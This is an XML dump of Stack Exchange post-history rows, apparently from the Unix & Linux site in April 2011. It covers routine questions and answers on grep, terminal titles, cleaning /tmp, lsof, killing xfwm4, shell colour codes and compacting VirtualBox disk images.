  <row Id="27189" PostHistoryTypeId="2" PostId="11222" RevisionGUID="174a03ec-9943-4217-9c29-8e15da873a79" CreationDate="2011-04-13T02:44:52.247" UserId="2819" Text="Currently I am using grep as follows:&#xD;&#xA;&#xD;&#xA;    grep -lr &lt;PATTERN&gt; .&#xD;&#xA;&#xD;&#xA;This gives me the following output:&#xD;&#xA;&#xD;&#xA;    ./path/to/file1&#xD;&#xA;    ./path/to/file2&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This is okay but knowing the file numbers would be useful. The following output would be ideal but having gone through the man page for grep, I can't seem to figure out the right switches:&#xD;&#xA;&#xD;&#xA;    ./path/to/file1 15, 22, 54&#xD;&#xA;    ./path/to/file2 16, 17&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Is this possible with grep or some other tool?" />
  <row Id="27190" PostHistoryTypeId="1" PostId="11222" RevisionGUID="174a03ec-9943-4217-9c29-8e15da873a79" CreationDate="2011-04-13T02:44:52.247" UserId="2819" Text="How can I recursively search directories for a pattern and just print out file names and line numbers" />
  <row Id="27191" PostHistoryTypeId="3" PostId="11222" RevisionGUID="174a03ec-9943-4217-9c29-8e15da873a79" CreationDate="2011-04-13T02:44:52.247" UserId="2819" Text="égrepà" />
  <row Id="27192" PostHistoryTypeId="25" PostId="11220" RevisionGUID="972968fd-ffdd-4f19-9503-de0b577382fd" CreationDate="2011-04-13T03:09:07.717" Comment="http://twitter.com/#!/StackUnix/status/58003756167610370" />
  <row Id="27193" PostHistoryTypeId="2" PostId="11223" RevisionGUID="490b18cc-c7a8-4c1a-973d-3729d1629ff2" CreationDate="2011-04-13T03:35:11.943" UserId="6548" Text="I want to make a shell `alias` that starts a certain program and also changes the title of the terminal to the name of the program.  How can I do that?&#xD;&#xA;&#xD;&#xA;In case it matters, I am running the terminal on Ubuntu and connecting to a Debian server via ssh." />
  <row Id="27194" PostHistoryTypeId="1" PostId="11223" RevisionGUID="490b18cc-c7a8-4c1a-973d-3729d1629ff2" CreationDate="2011-04-13T03:35:11.943" UserId="6548" Text="change terminal title" />
  <row Id="27195" PostHistoryTypeId="3" PostId="11223" RevisionGUID="490b18cc-c7a8-4c1a-973d-3729d1629ff2" CreationDate="2011-04-13T03:35:11.943" UserId="6548" Text="édebianàéterminalà" />
  <row Id="27196" PostHistoryTypeId="2" PostId="11224" RevisionGUID="2de3d2cd-3628-4e95-8407-a8ff6d6b37ef" CreationDate="2011-04-13T03:37:31.223" UserId="1290" Text="    grep -rins &lt;pattern&gt; *&#xD;&#xA;&#xD;&#xA;Does that do what you're looking for?" />
  <row Id="27197" PostHistoryTypeId="2" PostId="11225" RevisionGUID="2b977cc9-bfd4-4a2b-b3d3-060f69e3bc32" CreationDate="2011-04-13T03:39:38.973" UserId="73" Text="When I try to play MP4 files in mplayer, after a few seconds I get the &quot;Your system is too SLOW to play this!&quot; warning and the video starts lagging behind the audio. It only happens with MP4s, and seems to happen with just about all of them. mplayer doesn't seem to be overtaxing my system, it's just something with playing that particular format. I tried all the mplayer suggestions (different video driver, `-framedrop`, etc.); the only one that even partially helps is `-autosync 30`, but that's a hack. What could be wrong? How do I go about debugging/fixing it?" />
  <row Id="27198" PostHistoryTypeId="1" PostId="11225" RevisionGUID="2b977cc9-bfd4-4a2b-b3d3-060f69e3bc32" CreationDate="2011-04-13T03:39:38.973" UserId="73" Text="Audio/video out of sync when playing MP4s in mplayer" />
  <row Id="27199" PostHistoryTypeId="3" PostId="11225" RevisionGUID="2b977cc9-bfd4-4a2b-b3d3-060f69e3bc32" CreationDate="2011-04-13T03:39:38.973" UserId="73" Text="éperformanceàémplayeràémp4à" />
  <row Id="27200" PostHistoryTypeId="5" PostId="11224" RevisionGUID="df90e1e7-f670-4a65-91f1-036c04f1b449" CreationDate="2011-04-13T03:44:11.403" UserId="1290" Comment="added 138 characters in body; added 150 characters in body" Text="    grep -rins &lt;pattern&gt; *&#xD;&#xA;&#xD;&#xA;Does that do what you're looking for?&#xD;&#xA;&#xD;&#xA;In case you have more complex pattern, for instance when using `egrep`, it might be usefull to use `egrep -rinos &lt;pattern&gt; *` instead.&#xD;&#xA;&#xD;&#xA;To further increase readability, add `--color` to the parameter list. Personally, I have that in my `.zshrc`:&#xD;&#xA;&#xD;&#xA;    export GREP_OPTIONS=&quot;--color&quot;" />
  <row Id="27201" PostHistoryTypeId="2" PostId="11226" RevisionGUID="b1cfa291-e8c3-4979-9773-8ff48d34e66c" CreationDate="2011-04-13T03:45:14.863" UserId="29" Text="I don't like threaded email views as much as the inline &quot;[conversation view](http://mail.google.com/support/bin/answer.py?answer=5900)&quot; of gmail, however gmail is not as fast as I'd like it to be. Are there any desktop clients which provide a &quot;[conversation view](http://mail.google.com/support/bin/answer.py?answer=5900)&quot;?" />
  <row Id="27202" PostHistoryTypeId="1" PostId="11226" RevisionGUID="b1cfa291-e8c3-4979-9773-8ff48d34e66c" CreationDate="2011-04-13T03:45:14.863" UserId="29" Text="Are there any desktop email clients that implement gmail style conversation view?" />
  <row Id="27203" PostHistoryTypeId="3" PostId="11226" RevisionGUID="b1cfa291-e8c3-4979-9773-8ff48d34e66c" CreationDate="2011-04-13T03:45:14.863" UserId="29" Text="ésoftwareörecàémailà" />
  <row Id="27204" PostHistoryTypeId="2" PostId="11227" RevisionGUID="6f4fef3c-b108-4729-a527-bc5808dc607e" CreationDate="2011-04-13T03:49:44.500" UserId="2597" Text="[ack][1] does something similar by default. you can use &#xD;&#xA;&#xD;&#xA;    $ ack blah&#xD;&#xA;    path/to/blah&#xD;&#xA;    16: blah blah&#xD;&#xA;    19: blah blah blah&#xD;&#xA;    &#xD;&#xA;    path/to/more/blah&#xD;&#xA;    21: blahness&#xD;&#xA;&#xD;&#xA;If you just want the file names that match you can say `ack -l`. `ack -lc` will give you number of matches per file.&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/&#xD;&#xA;" />
  <row Id="27205" PostHistoryTypeId="2" PostId="11228" RevisionGUID="b32e5365-17c2-4339-8b97-c211759ed61e" CreationDate="2011-04-13T04:05:47.700" UserId="1049" Text="I've always been curious of what would happen if a hard drive failed while the Linux kernel was running. Since the kernel image itself is loaded completely into RAM, I don't imagine there would be any kernel failures. Obviously any software that attempted to access the disk would fail.&#xD;&#xA;&#xD;&#xA;Is there any chance that the system would continue running indefinitely? If not, what would cause it to panic (or at least become inoperable)?&#xD;&#xA;&#xD;&#xA;Please consider each of the following scenarios:&#xD;&#xA;&#xD;&#xA; - The kernel may or may not have the swapfile enabled.&#xD;&#xA; - No attempts to load kernel modules are made after the failure.&#xD;&#xA; - Does it make a difference if certain parts of the filesystem are on different disks?" />
  <row Id="27206" PostHistoryTypeId="1" PostId="11228" RevisionGUID="b32e5365-17c2-4339-8b97-c211759ed61e" CreationDate="2011-04-13T04:05:47.700" UserId="1049" Text="What would happen if a hard drive failed while the Linux kernel was running?" />
  <row Id="27207" PostHistoryTypeId="3" PostId="11228" RevisionGUID="b32e5365-17c2-4339-8b97-c211759ed61e" CreationDate="2011-04-13T04:05:47.700" UserId="1049" Text="ékernelàéhardödiskàéfailureà" />
  <row Id="27208" PostHistoryTypeId="2" PostId="11229" RevisionGUID="ea63e7c1-c19d-49cb-a76d-4014fbae5b66" CreationDate="2011-04-13T04:06:34.480" UserId="1535" Text="You can get something along these lines via the [Thunderbird Conversations](https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/) addon.  I haven't used it recently but when I did (a year or two ago) it was usable, though not quite as smooth as gmail itself.  It is being actively developed, so it has likely improved since then.  Reviews seem to be mostly positive, though it may not work with all versions of TBird." />
  <row Id="27209" PostHistoryTypeId="5" PostId="11222" RevisionGUID="c9827765-07bc-48a6-be25-f88f0ee5a4ed" CreationDate="2011-04-13T04:37:13.600" UserId="2819" Comment="added 76 characters in body" Text="Currently I am using grep as follows:&#xD;&#xA;&#xD;&#xA;    grep -lr &lt;PATTERN&gt; .&#xD;&#xA;&#xD;&#xA;This gives me the following output, containing a list of all files whose contents (not name) contain &lt;PATTERN&gt;:&#xD;&#xA;&#xD;&#xA;    ./path/to/file1&#xD;&#xA;    ./path/to/file2&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This is okay but knowing the line numbers would be useful. The following output would be ideal but having gone through the man page for grep, I can't seem to figure out the right switches:&#xD;&#xA;&#xD;&#xA;    ./path/to/file1 15, 22, 54&#xD;&#xA;    ./path/to/file2 16, 17&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Is this possible with grep or some other tool?" />
  <row Id="27210" PostHistoryTypeId="5" PostId="11148" RevisionGUID="e005b417-b994-4a9b-b931-e8a82034c454" CreationDate="2011-04-13T04:46:52.400" UserId="5430" Comment="update on current status" Text="I have done something stupid and messed up my Debian Squeeze installation. Now, the problem is I have enough data and sowftware installations which I dont want to repeat, is it possible to reinstall the OS and still somehow save and maintain data on my box?    &#xD;&#xA;I have still not tinkered with the installation, I am just frustrated with issues and lack of time. I guess this weekend I will spam SO with all my troubles and hope I will not be treated as a spammer :D" />
  <row Id="27211" PostHistoryTypeId="2" PostId="11230" RevisionGUID="0cfad0cc-f5fa-4373-99b4-27813c86034b" CreationDate="2011-04-13T05:22:44.960" UserId="73" Text="Most terminals recognize a certain escape sequence as an attempt to change the title, so this will work:&#xD;&#xA;&#xD;&#xA;    $ alias foo-with-title='echo -ne &quot;\033]0;foo\007&quot;; foo'&#xD;&#xA;" />
  <row Id="27212" PostHistoryTypeId="2" PostId="11231" RevisionGUID="574a17f6-0a51-4bb1-82c5-0569eec1c249" CreationDate="2011-04-13T05:34:54.623" UserId="6480" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm trying to build a cross-distro binary RPM package that works under Fedora and openSUSE given that I'm using a 'Require:' tag to set the dependencies package names. The problem is that the package names are different in each GNU/Linux distro repo. Reading: http://goo.gl/3MXSq, and using '%if 0%{?suse_version}&#xD;&#xA;' statements give a cross-distro .spec file. That is, the list of deps will be determined at build-time not install-time.&#xD;&#xA;&#xD;&#xA;Is there a way to set a conditional list of deps inside a binary RPM package ?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27213" PostHistoryTypeId="1" PostId="11231" RevisionGUID="574a17f6-0a51-4bb1-82c5-0569eec1c249" CreationDate="2011-04-13T05:34:54.623" UserId="6480" Text="How to build a cross-distro binary RPM package ?" />
  <row Id="27214" PostHistoryTypeId="3" PostId="11231" RevisionGUID="574a17f6-0a51-4bb1-82c5-0569eec1c249" CreationDate="2011-04-13T05:34:54.623" UserId="6480" Text="éfedoraàépackageömanagementàéopensuseàérpmàédependenciesà" />
  <row Id="27215" PostHistoryTypeId="25" PostId="11231" RevisionGUID="875dbbfb-c4e6-416e-9459-7fc244cbd531" CreationDate="2011-04-13T06:09:07.633" Comment="http://twitter.com/#!/StackUnix/status/58049054743068672" />
  <row Id="27216" PostHistoryTypeId="4" PostId="11100" RevisionGUID="c5d75aa7-b9f4-489c-a450-2469ad0155ed" CreationDate="2011-04-13T07:32:03.023" UserId="5763" Comment="edited tags; edited title; edited title" Text="How to make ext4 filesystem sparse ?" />
  <row Id="27217" PostHistoryTypeId="6" PostId="11100" RevisionGUID="c5d75aa7-b9f4-489c-a450-2469ad0155ed" CreationDate="2011-04-13T07:32:03.023" UserId="5763" Comment="edited tags; edited title; edited title" Text="évirtualboxàéext4àésparseöfilesà" />
  <row Id="27218" PostHistoryTypeId="2" PostId="11232" RevisionGUID="05d56f3b-d423-469c-8aaa-8535badb83f2" CreationDate="2011-04-13T07:43:58.643" UserId="6167" Text="Hardware failures always run some risk of crashing the Kernel since those code paths generally have had much less testing, but normally, a failed hard drive should not crash the Kernel.  What exactly happens depends on the nature of the failure.  Perhaps only certain sectors are now unreadable rendering parts of the /home partition unreadable, the system will still be runnable for a sysadmin to analyze the problem.  If the root filesystem becomes unusable, the system is pretty much dead regardless of a Kernel crash as even a simple shell won't be available.  If a swap partition becomes unavailable, programs that are using swap will segment fault when it comes time to read in any swapped out data. If the hard drive that crashed is simply extra storage, it may have little affect besides some filesystems becoming unreadable.&#xD;&#xA;&#xD;&#xA;It can also depend on what kind of errors the hard drive is throwing.  I've seen a drive effectively disappear and besides the file systems disappearing, everything ran ok.  I've also seen a hard drive continually hanging the system and throwing errors after a long timeout causing the whole system performance to degrade.  If using a layer like MD running RAID1/4/5, a severe error will normally just cause the Kernel to mark the disk as failed, and it will ignore it relying on the remaining drives to keep the system running." />
  <row Id="27219" PostHistoryTypeId="2" PostId="11233" RevisionGUID="52d7af75-9331-4d73-8581-ef0f200e3721" CreationDate="2011-04-13T08:12:57.707" UserId="872" Text="In Bash, I use the following `trap` command in the last line of my `.bashrc`  to echo all commands to the titlebar.&#xD;&#xA;&#xD;&#xA;    # trap commands and echo them to xterm titlebar. Must be last line.&#xD;&#xA;    trap 'echo -ne &quot;\033]0;$BASH_COMMAND $USER@${HOSTNAME}&gt;$(pwd)\007&quot;' DEBUG&#xD;&#xA;&#xD;&#xA;So if you execute `sleep 10`, you will see your titlebar change to `sleep 10` for the duration of the command, after which it will change back to `user@host&gt;pwd`." />
  <row Id="27220" PostHistoryTypeId="2" PostId="11234" RevisionGUID="f2344a55-0ff2-432d-83d2-704cc6a51e60" CreationDate="2011-04-13T08:34:53.240" UserId="1594" Text="I'm installing IntelliJ, and the readme tells me to choose an installation folder. Where is a good, standard place to put installed programs?" />
  <row Id="27221" PostHistoryTypeId="1" PostId="11234" RevisionGUID="f2344a55-0ff2-432d-83d2-704cc6a51e60" CreationDate="2011-04-13T08:34:53.240" UserId="1594" Text="Where should I copy-paste-install software to?" />
  <row Id="27222" PostHistoryTypeId="3" PostId="11234" RevisionGUID="f2344a55-0ff2-432d-83d2-704cc6a51e60" CreationDate="2011-04-13T08:34:53.240" UserId="1594" Text="édirectoryàédirectoryöstructureà" />
  <row Id="27223" PostHistoryTypeId="2" PostId="11235" RevisionGUID="0e6f1042-b602-4ca2-99b7-e9e600f1f3cb" CreationDate="2011-04-13T08:36:29.290" UserId="1594" Text="This is something I used to do a lot on Windows, but after my [recent fiasco][1] I want to make sure. Is it safe to do&#xD;&#xA;&#xD;&#xA;    sudo rm -rf /tmp/*&#xD;&#xA;&#xD;&#xA;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/502/what-are-your-favorite-painful-unix-moments/11146#11146" />
  <row Id="27224" PostHistoryTypeId="1" PostId="11235" RevisionGUID="0e6f1042-b602-4ca2-99b7-e9e600f1f3cb" CreationDate="2011-04-13T08:36:29.290" UserId="1594" Text="Is it safe to rm -rf /tmp/* ?" />
  <row Id="27225" PostHistoryTypeId="3" PostId="11235" RevisionGUID="0e6f1042-b602-4ca2-99b7-e9e600f1f3cb" CreationDate="2011-04-13T08:36:29.290" UserId="1594" Text="étmpà" />
  <row Id="27226" PostHistoryTypeId="2" PostId="11236" RevisionGUID="b94e8a5e-0f57-4cac-ad5c-cf255e3f203c" CreationDate="2011-04-13T08:38:29.613" UserId="688" Text="If you are the only user of it, just slap it in `/home`. If not, `/opt/intellij`." />
  <row Id="27227" PostHistoryTypeId="2" PostId="11237" RevisionGUID="378b8fc3-57b1-44af-8c94-fe4b3c3fce52" CreationDate="2011-04-13T08:49:46.200" UserId="6215" Text="    $ ps aux | grep xfwm&#xD;&#xA;    xralf  4365  1.2  0.4  19888  9444 ?        S    10:45   0:00 xfwm4 --replace --display :0.0 --sm-client-id 204399537-7a38-4196-8c31-43cf2f3542ac&#xD;&#xA;    xralf  4369  0.0  0.0   3324   788 pts/0    S+   10:45   0:00 grep --color=auto xfwm&#xD;&#xA;&#xD;&#xA;after `$ kill -9 4365`&#xD;&#xA;&#xD;&#xA;    $ ps aux | grep xfwm&#xD;&#xA;    xralf  4379  0.4  0.4  20632  9976 ?        S    10:47   0:00 xfwm4 --replace --display :0.0 --sm-client-id 204399537-7a38-4196-8c31-43cf2f3542ac&#xD;&#xA;    xralf  4381  0.0  0.0   3324   788 pts/0    S+   10:47   0:00 grep --color=auto xfwm&#xD;&#xA;&#xD;&#xA;Is it possible to kill xfwm4?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;" />
  <row Id="27228" PostHistoryTypeId="1" PostId="11237" RevisionGUID="378b8fc3-57b1-44af-8c94-fe4b3c3fce52" CreationDate="2011-04-13T08:49:46.200" UserId="6215" Text="I can't kill xfwm4" />
  <row Id="27229" PostHistoryTypeId="3" PostId="11237" RevisionGUID="378b8fc3-57b1-44af-8c94-fe4b3c3fce52" CreationDate="2011-04-13T08:49:46.200" UserId="6215" Text="éwindowömanageràékillàéxfceà" />
  <row Id="27230" PostHistoryTypeId="2" PostId="11238" RevisionGUID="56a49f80-5a8c-4370-a8c7-21f0f94e5abb" CreationDate="2011-04-13T08:51:26.433" UserId="1594" Text="I tried to rm -rf a folder, and got &quot;device or resource busy&quot;.&#xD;&#xA;&#xD;&#xA;In Windows, I would have used LockHunter to resolve this. What's the linux equivalent? (Please give as answer a simple &quot;unlock this&quot; method, and not complete articles like [this one][1]. Although they're useful, I'm currently interested in just ASimpleMethodThatWorks™)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.innovationsts.com/blog/?p=658" />
  <row Id="27231" PostHistoryTypeId="1" PostId="11238" RevisionGUID="56a49f80-5a8c-4370-a8c7-21f0f94e5abb" CreationDate="2011-04-13T08:51:26.433" UserId="1594" Text="How to get over &quot;device or resource busy&quot;?" />
  <row Id="27232" PostHistoryTypeId="3" PostId="11238" RevisionGUID="56a49f80-5a8c-4370-a8c7-21f0f94e5abb" CreationDate="2011-04-13T08:51:26.433" UserId="1594" Text="édevicesàélockà" />
  <row Id="27233" PostHistoryTypeId="25" PostId="11234" RevisionGUID="cd95580f-bc11-43a0-8e46-5ff4e3a74000" CreationDate="2011-04-13T09:09:07.533" Comment="http://twitter.com/#!/StackUnix/status/58094353343717377" />
  <row Id="27234" PostHistoryTypeId="2" PostId="11239" RevisionGUID="04219477-fd89-4ba0-ade0-ce94e30e6337" CreationDate="2011-04-13T09:10:10.083" UserId="3046" Text="The real answer is - it depends. /tmp may be used by applications that require lockfiles or temporary logs to be present in order to run, or it may not. There may be symlinks in there...not sure what for, but it's always possible.&#xD;&#xA;&#xD;&#xA;You should really look at what is in there before you decide to remove it. doing an rf -rf * on anything is inherently dangerous." />
  <row Id="27235" PostHistoryTypeId="2" PostId="11240" RevisionGUID="671ef056-c419-4348-a422-57b57870edcb" CreationDate="2011-04-13T09:12:03.280" UserId="6454" Text="In general, no. &#xD;&#xA;&#xD;&#xA;If it's filling up with junk, you may want to look at what software isn't cleaning up after itself.&#xD;&#xA;&#xD;&#xA;You can also use find to identify files which haven't been modified or accessed in a long time that are probably safe to delete.&#xD;&#xA;" />
  <row Id="27236" PostHistoryTypeId="2" PostId="11241" RevisionGUID="04cd21d1-68be-4e52-8609-38c5969d0c6b" CreationDate="2011-04-13T09:22:46.563" UserId="1078" Text="The tool you want is `lsof`, which stands for *list open files*.&#xD;&#xA;&#xD;&#xA;It has a lot of options, so check the man page, but if you want to see all open files under a directory:&#xD;&#xA;&#xD;&#xA;    lsof +D /path&#xD;&#xA;&#xD;&#xA;That will recurse through the filesystem under `/path`, so beware doing it on large directory trees." />
  <row Id="27237" PostHistoryTypeId="2" PostId="11242" RevisionGUID="b9e371b6-28fa-49e8-abc4-a1d96846c4c5" CreationDate="2011-04-13T09:27:13.657" UserId="3082" Text="First, go to the XFCE4 Settings panel, then select Session and Startup, then select the Session tab. Then find the xfwm4 entry and change its Restart Style to Never. Then you can kill it.&#xD;&#xA;" />
  <row Id="27238" PostHistoryTypeId="5" PostId="11241" RevisionGUID="6d77a8ee-ea5e-4d18-a9d9-e69808afafee" CreationDate="2011-04-13T09:43:12.707" UserId="1078" Comment="added 116 characters in body" Text="The tool you want is `lsof`, which stands for *list open files*.&#xD;&#xA;&#xD;&#xA;It has a lot of options, so check the man page, but if you want to see all open files under a directory:&#xD;&#xA;&#xD;&#xA;    lsof +D /path&#xD;&#xA;&#xD;&#xA;That will recurse through the filesystem under `/path`, so beware doing it on large directory trees.&#xD;&#xA;&#xD;&#xA;Once you know which processes have files open, you can exit those apps, or kill them with the `kill(1)` command." />
  <row Id="27239" PostHistoryTypeId="2" PostId="11243" RevisionGUID="64556662-ef99-47c8-85aa-aae8a609ee3f" CreationDate="2011-04-13T10:27:09.650" UserId="6534" Text="Can any one please help me understand this code snippet that I found in .profile file&#xD;&#xA;&#xD;&#xA;    echo -en &quot;\e[32;44m $(hostname) \e[m&quot;;echo -e &quot;\e[m&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27240" PostHistoryTypeId="1" PostId="11243" RevisionGUID="64556662-ef99-47c8-85aa-aae8a609ee3f" CreationDate="2011-04-13T10:27:09.650" UserId="6534" Text="Unix Shell and colours" />
  <row Id="27241" PostHistoryTypeId="3" PostId="11243" RevisionGUID="64556662-ef99-47c8-85aa-aae8a609ee3f" CreationDate="2011-04-13T10:27:09.650" UserId="6534" Text="éshellàéprofileà" />
  <row Id="27242" PostHistoryTypeId="5" PostId="11236" RevisionGUID="24983a68-ff4f-4cc1-ac21-20cea46cb671" CreationDate="2011-04-13T10:32:04.527" UserId="688" Comment="added 539 characters in body; added 4 characters in body" Text="If you are the only user of it, just slap it in `/home`. If not, `/opt/intellij`. &#xD;&#xA;&#xD;&#xA;Avoid `/usr`, which should only be used by distro-managed software. Many source installers use `/usr/local` by default, but the advantage of `/opt/intellij` is that you can wipe the entire directory if you no longer have a use for it. Putting it under `/usr/local`, the stuff would get distributed all over the place, adding the need to track where those are installed; there's tools for that, but don't  bother. Any decent installer should create all directory structures for your installation to work, wherever you choose to install to." />
  <row Id="27243" PostHistoryTypeId="2" PostId="11244" RevisionGUID="37fc7d3b-6c4d-467d-81bd-dc6dcc37e6b0" CreationDate="2011-04-13T10:36:45.770" UserDisplayName="delete" Text="&gt; Is it safe to do&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo rm -rf /tmp/*&#xD;&#xA;&#xD;&#xA;No. For example, if you have a MySQL database running on your computer that will kill its socket, or if you are using emacs as a server that will kill the server process. There are many other cases where it is not safe to remove these files. The best thing to do is to write a script which checks the date of the file and only removes it if it is old.&#xD;&#xA;" />
  <row Id="27244" PostHistoryTypeId="2" PostId="11245" RevisionGUID="79f3bc87-4d8c-4ecc-b11d-8c5ab5c9e800" CreationDate="2011-04-13T11:07:03.223" UserId="5666" Text="One way to go is to create a second disk image, add it to your guest OS and [copy files from one to the other][1]. Make the second disk bootable and remove the first one. &#xD;&#xA;&#xD;&#xA;Another way is to&#xD;&#xA;&#xD;&#xA; 1. [resize your filesystem][2] with `resize2fs` to its minimum size possible&#xD;&#xA; 1. then resize the partition with `parted resize` to the same or a bit larger size&#xD;&#xA; 1. create a new partition in the new unallocated space and zero it out with `dd if=/dev/zero of=/dev/sdXY`&#xD;&#xA; 1. use `VBoxManage modifyhd &lt;uuid&gt;|&lt;filename&gt; --compact` to shrink the image.&#xD;&#xA; 1. resize the partition and then the filesystem to their original size.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11028/backup-whole-hard-disk-linux/11086#11086&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/11100/how-to-make-ext4-filesystem-sparse/11135#11135" />
  <row Id="27245" PostHistoryTypeId="25" PostId="11238" RevisionGUID="d5c106fb-f0be-4d5f-86d8-98302cf9b7f2" CreationDate="2011-04-13T12:09:07.723" Comment="http://twitter.com/#!/StackUnix/status/58139651357151232" />
  <row Id="27246" PostHistoryTypeId="2" PostId="11246" RevisionGUID="9e4c1b00-f140-4924-a772-c8294221d64b" CreationDate="2011-04-13T12:13:00.103" UserId="6521" Text="No way. sorry. You couldn't do  conditional list of deps inside RPM. &#xD;&#xA;The only way to do this is to remove all distro specific deps from your spec file. " />
  <row Id="27247" PostHistoryTypeId="2" PostId="11247" RevisionGUID="029b0ef6-2d3d-479c-8e6e-0e52d6443cc3" CreationDate="2011-04-13T12:13:34.393" UserId="1339" Text="This snippet is used to print out the hostname of the system with a blue background and a green font.&#xD;&#xA;&#xD;&#xA;To color your shell, you use special color escape sequences.&#xD;&#xA;&#xD;&#xA;`\e[` starts the color scheme, `32;` will set the foreground color to green, `44` will set the background color to blue and `m` will end it.&#xD;&#xA;&#xD;&#xA;`$(command)` creates a new shell, executes command and returns the result (not the return value).&#xD;&#xA;&#xD;&#xA;`hostname` returns the hostname of the current system.&#xD;&#xA;&#xD;&#xA;`\e[m` will reset the coloring of the output.&#xD;&#xA;&#xD;&#xA;From the echo manpage:&#xD;&#xA;&#xD;&#xA;&gt;        -n     do not output the trailing newline&#xD;&#xA;&gt;        -e     enable interpretation of backslash escapes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;IMHO your snippet could be simplified to&#xD;&#xA;`echo -e &quot;\e[32;44m $(hostname) \e[m&quot;;`&#xD;&#xA;&#xD;&#xA;See the chapter [6.1 Colours of the BASH Prompt HOWTO][1] for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html" />
  <row Id="27248" PostHistoryTypeId="2" PostId="11248" RevisionGUID="b7ceeb93-0261-4614-a503-b1cb96011096" CreationDate="2011-04-13T12:22:59.470" UserId="3001" Text="The page you reference ([http://intgat.tigress.co.uk/rmy/uml/index.html][1]) states:&#xD;&#xA;&#xD;&#xA;    The utility also works on ext3 or ext4 filesystems.&#xD;&#xA;&#xD;&#xA;So I'm not sure where you're getting that it doesn't work on ext4 filesystems.&#xD;&#xA;&#xD;&#xA;Note that the zerofree *utility* is different from the zerofree *kernel patch* that is mentioned on the same page (which indeed does not seem to have a version for ext4).&#xD;&#xA;&#xD;&#xA;  [1]: http://intgat.tigress.co.uk/rmy/uml/index.html" />
  <row Id="27249" PostHistoryTypeId="2" PostId="11249" RevisionGUID="cc994fef-2ca7-4125-a302-4a17b7b512f0" CreationDate="2011-04-13T12:45:29.310" UserId="1924" Text="do you know any other way to start app than using ./ ?&#xD;&#xA;i've just compiled one in c++ and i can't run it." />
  <row Id="27250" PostHistoryTypeId="1" PostId="11249" RevisionGUID="cc994fef-2ca7-4125-a302-4a17b7b512f0" CreationDate="2011-04-13T12:45:29.310" UserId="1924" Text="maemo how to run hello world" />
  <row Id="27251" PostHistoryTypeId="3" PostId="11249" RevisionGUID="cc994fef-2ca7-4125-a302-4a17b7b512f0" CreationDate="2011-04-13T12:45:29.310" UserId="1924" Text="émaemoà" />
  <row Id="27252" PostHistoryTypeId="5" PostId="11249" RevisionGUID="07a64de1-8f5b-4328-8266-6ec77c8b920c" CreationDate="2011-04-13T12:53:27.807" UserId="688" Comment="edited body; edited title" Text="Do you know any other way to start app than using `./`? I've just compiled one in c++ and i can't run it." />
  <row Id="27253" PostHistoryTypeId="4" PostId="11249" RevisionGUID="07a64de1-8f5b-4328-8266-6ec77c8b920c" CreationDate="2011-04-13T12:53:27.807" UserId="688" Comment="edited body; edited title" Text="How to run hello world in Maemo" />
  <row Id="27254" PostHistoryTypeId="2" PostId="11250" RevisionGUID="0c871857-99d3-43e3-b8a7-297252c32bf6" CreationDate="2011-04-13T12:58:04.793" UserId="1946" Text="You might want to take a look at [sup][1].  It is curses-based, so text mode only.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sup.rubyforge.org/" />
  <row Id="27255" PostHistoryTypeId="5" PostId="11205" RevisionGUID="9ecdd4ac-e5e6-4038-8ece-118e1ae94d73" CreationDate="2011-04-13T13:27:00.603" UserId="4531" Comment="deleted 5 characters in body; added 1 characters in body" Text="My understanding is that terminals often use ANSI control-codes to represent non-alphanumeric character sequences. For example, when editing `.inputrc` for Bash in Linux, it's easy to find code sequences that look as follows:&#xD;&#xA;&#xD;&#xA;    &quot;\e[A&quot;: history-search-backward&#xD;&#xA;    &quot;\e[B&quot;: history-search-forward&#xD;&#xA;    &quot;\e[C&quot;: forward-char&#xD;&#xA;    &quot;\e[D&quot;: backward-char&#xD;&#xA;    &quot;\e[1~&quot;: beginning-of-line&#xD;&#xA;    &quot;\e[4~&quot;: end-of-line&#xD;&#xA;    &quot;\e[3~&quot;: delete-char&#xD;&#xA;    &quot;\e[2~&quot;: quoted-insert&#xD;&#xA;    &quot;\e[5C&quot;: forward-word&#xD;&#xA;    &quot;\e[5D&quot;: backward-word&#xD;&#xA;&#xD;&#xA;The commands above [define][1] key bindings for the Bash commands `history-search-backward`, etc..&#xD;&#xA;&#xD;&#xA;Now, in bash, I can use `read` to see how characters typed in my keyboard are mapped to ANSI control codes. E.g. For example, if I run `read`, and then enter `Ctrl-P`, I get: `^P`. Similarly, if I enter  `Alt-W`, I get: `^[W`. &#xD;&#xA;&#xD;&#xA;My question is: Is there a program, tool or website that does the opposite? I.e. A tool that outputs or shows the sequence of keyboard keys that I need to type on my keyboard to obtain a given ANSI control-code sequence. For example, entering `^[W` should output: `Alt-W`&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/269464/understanding-control-characters-in-inputrc" />
